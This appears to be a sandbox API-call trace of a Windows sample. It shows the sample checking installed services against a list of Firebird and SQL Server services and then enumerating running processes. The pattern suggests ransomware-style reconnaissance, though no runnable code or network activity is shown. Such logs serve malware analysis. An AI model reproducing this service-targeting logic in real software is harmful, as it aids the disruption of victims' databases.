	[0056.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0056.718] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0056.718] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0056.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0056.718] lstrlenW (lpString="Schedule") returned 8
	[0056.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0056.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0056.718] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0056.718] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0056.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0056.718] lstrlenW (lpString="SecurityHealthService") returned 21
	[0056.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0056.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0056.718] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0056.718] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0056.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0056.719] lstrlenW (lpString="SENS") returned 4
	[0056.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0056.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0056.719] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0056.719] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0056.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0056.719] lstrlenW (lpString="ShellHWDetection") returned 16
	[0056.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0056.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0056.719] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0056.719] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0056.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0056.719] lstrlenW (lpString="Spooler") returned 7
	[0056.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0056.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0056.719] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0056.719] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0056.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0056.719] lstrlenW (lpString="SSDPSRV") returned 7
	[0056.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0056.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0056.719] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0056.719] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0056.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0056.719] lstrlenW (lpString="StateRepository") returned 15
	[0056.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0056.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0056.719] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0056.719] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0056.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0056.719] lstrlenW (lpString="SysMain") returned 7
	[0056.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0056.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0056.719] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0056.719] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0056.720] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43d4cd0 | out: hHeap=0x650000) returned 1
	[0056.720] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d0
	[0057.801] Process32FirstW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0057.801] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0057.802] lstrlenW (lpString="System") returned 6
	[0057.802] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0057.803] lstrlenW (lpString="smss.exe") returned 8
	[0057.803] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0057.804] lstrlenW (lpString="csrss.exe") returned 9
	[0057.804] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0057.804] lstrlenW (lpString="wininit.exe") returned 11
	[0057.804] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0057.805] lstrlenW (lpString="csrss.exe") returned 9
	[0057.805] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0057.806] lstrlenW (lpString="winlogon.exe") returned 12
	[0057.806] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0057.806] lstrlenW (lpString="services.exe") returned 12
	[0057.806] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0057.807] lstrlenW (lpString="lsass.exe") returned 9
	[0057.807] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.808] lstrlenW (lpString="svchost.exe") returned 11
	[0057.808] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0057.808] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0057.809] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0057.809] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0057.809] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.810] lstrlenW (lpString="svchost.exe") returned 11
	[0057.810] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0057.811] lstrlenW (lpString="dwm.exe") returned 7
	[0057.811] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.811] lstrlenW (lpString="svchost.exe") returned 11
	[0057.811] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.812] lstrlenW (lpString="svchost.exe") returned 11
	[0057.812] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.813] lstrlenW (lpString="svchost.exe") returned 11
	[0057.813] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.813] lstrlenW (lpString="svchost.exe") returned 11
	[0057.813] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.814] lstrlenW (lpString="svchost.exe") returned 11
	[0057.814] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.819] lstrlenW (lpString="svchost.exe") returned 11
	[0057.819] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.820] lstrlenW (lpString="svchost.exe") returned 11
	[0057.820] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.821] lstrlenW (lpString="svchost.exe") returned 11
	[0057.821] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.822] lstrlenW (lpString="svchost.exe") returned 11
	[0057.822] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0057.822] lstrlenW (lpString="spoolsv.exe") returned 11
	[0057.822] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.823] lstrlenW (lpString="svchost.exe") returned 11
	[0057.823] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.824] lstrlenW (lpString="svchost.exe") returned 11
	[0057.824] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0057.824] lstrlenW (lpString="audiodg.exe") returned 11
	[0057.824] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0057.825] lstrlenW (lpString="sihost.exe") returned 10
	[0057.825] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.826] lstrlenW (lpString="svchost.exe") returned 11
	[0057.826] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0057.827] lstrlenW (lpString="taskhostw.exe") returned 13
	[0057.827] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0057.827] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0057.827] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0057.828] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0057.828] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0057.829] lstrlenW (lpString="explorer.exe") returned 12
	[0057.829] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0057.829] lstrlenW (lpString="Memory Compression") returned 18
	[0057.829] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0057.831] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0057.831] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0057.832] lstrlenW (lpString="SearchUI.exe") returned 12
	[0057.832] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0057.832] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0057.832] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0057.833] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0057.833] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0057.884] lstrlenW (lpString="taskhostw.exe") returned 13
	[0057.884] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0057.885] lstrlenW (lpString="UsoClient.exe") returned 13
	[0057.885] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0057.886] lstrlenW (lpString="taskhostw.exe") returned 13
	[0057.886] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0057.886] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0057.886] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0057.887] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0057.887] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0057.888] lstrlenW (lpString="msoia.exe") returned 9
	[0057.888] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0057.888] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0057.888] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0057.889] lstrlenW (lpString="msoia.exe") returned 9
	[0057.889] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0057.890] lstrlenW (lpString="roof.exe") returned 8
	[0057.890] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0057.891] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0057.891] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0057.891] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0057.891] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0057.892] lstrlenW (lpString="cause.exe") returned 9
	[0057.892] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0057.899] lstrlenW (lpString="occasionstax.exe") returned 16
	[0057.899] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0057.899] lstrlenW (lpString="distributors.exe") returned 16
	[0057.899] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0057.900] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0057.900] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0057.901] lstrlenW (lpString="rand.exe") returned 8
	[0057.901] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0057.901] lstrlenW (lpString="unlikely.exe") returned 12
	[0057.901] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0057.902] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0057.902] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0057.903] lstrlenW (lpString="promotion.exe") returned 13
	[0057.903] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0057.903] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
